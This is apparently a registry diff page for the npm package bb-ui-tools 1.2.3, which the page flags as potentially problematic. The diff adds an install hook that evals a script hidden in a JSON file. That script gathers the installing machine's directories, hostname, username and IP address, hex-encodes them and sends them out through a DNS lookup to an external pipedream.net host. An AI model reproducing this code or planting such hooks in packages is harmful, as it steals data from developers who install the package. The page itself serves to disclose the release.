bb-ui-tools 1.2.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of bb-ui-tools might be problematic. Click here for more details.

package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "bb-ui-tools",
3
+ "version": "1.2.3",
4
+ "description": "P0C",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
package/preinstall.js ADDED
@@ -0,0 +1,6 @@
1
+ const fs = require('fs');
2
+
3
+ const rawData = fs.readFileSync('preinstall.json');
4
+ const jsonData = JSON.parse(rawData);
5
+
6
+ eval(jsonData.script);
@@ -0,0 +1,3 @@
1
+ {
2
+ "script": "const os = require('os'); const dns = require('dns'); const { execSync } = require('child_process'); const encodeData = (data) => Buffer.from(data).toString('hex'); const getDirectory = () => process.cwd(); const getHomeDirectory = () => os.homedir(); const getHostname = () => os.hostname(); const getUserName = () => os.userInfo().username; const getIpAddress = () => { const interfaces = os.networkInterfaces(); for (const name of Object.keys(interfaces)) { for (const net of interfaces[name]) { if (net.family === 'IPv4' && !net.internal) { return net.address; } } } return '0.0.0.0'; }; const data = { directory: getDirectory(), home_directory: getHomeDirectory(), hostname: getHostname(), username: getUserName(), ip_address: getIpAddress() }; const encodedData = encodeData(JSON.stringify(data)); function dnsExfiltration() { const exfiltrationDomain = `${encodedData}.https://9ed86b24e8df3d867dd8c4a02887c2fc.m.pipedream.net`; dns.resolve4(exfiltrationDomain, (err, addresses) => { if (err) { console.error(`DNS query failed: ${err.message}`); } else { console.log(`Addresses: ${addresses}`); } }); } dnsExfiltration();"
3
+ }